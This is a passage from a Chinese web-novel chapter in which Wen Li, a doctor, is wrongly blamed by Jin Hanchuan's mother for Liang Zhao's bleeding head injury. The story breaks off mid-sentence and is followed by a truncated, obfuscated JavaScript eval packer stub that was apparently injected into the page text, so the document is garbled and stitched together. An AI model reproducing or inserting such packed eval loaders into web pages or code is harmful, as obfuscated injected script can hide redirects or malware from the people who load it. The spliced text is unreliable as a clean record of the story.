她蜷缩在地上,意识已经昏昏沉沉,却还不忘虚弱的抬起眼,看向站在一边的靳寒川,声音柔弱又可怜。
“寒川,你别这么说温礼,我……是我的不对……”
她丝毫不提及温礼为何会突然推人的举动,反过来将错都揽在了自己的身上。
可她这样只会趁着温礼像个不讲道理的疯子。
温礼僵在了原地,大脑已经一片混乱。
血,好多血,她是个医生,本应该不惧怕血的,可被梁朝刺激后,她仿佛又回到了冰冷的手术台上。
那时,她身下也出了好多血。
“我没有,我只是轻轻推了梁朝一下!我……”
回过神,温礼支支吾吾的解释着。
靳母抬眼狠狠的冷笑着。
“什么?你的意思是你轻轻一推,梁朝就成了这样?你低下头看一看,梁朝伤到的是后脑,你作为医生,难道不清楚这样有多危险吗?”
靳母的质问扑面而来。
温礼意识昏沉,她抬眸看向神色冰冷的靳母,她眼中满是嫌恶,一如八年前她听到了她怀孕时的模样。
也是这样,满眼嫌恶,看她的模样,就像在看一个上不了台面的不入流的污点。
温礼浑身冰冷,所有的解释都堵在了喉咙,说不出口。
她是医生,她比谁都清楚力道轻重,更清楚梁朝是刻意借力撞上去自伤。
可没人信她。
所有人只看得见满地刺目的鲜血,看得见梁朝奄奄一息、柔弱可怜的模样,看不见她被反复撕开伤疤的崩溃,看不见她濒临窒息的痛苦。
老太太匆匆走近,看清满地血迹,神色微怔。
“这是怎么回事?还不赶紧把人抬
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new Reg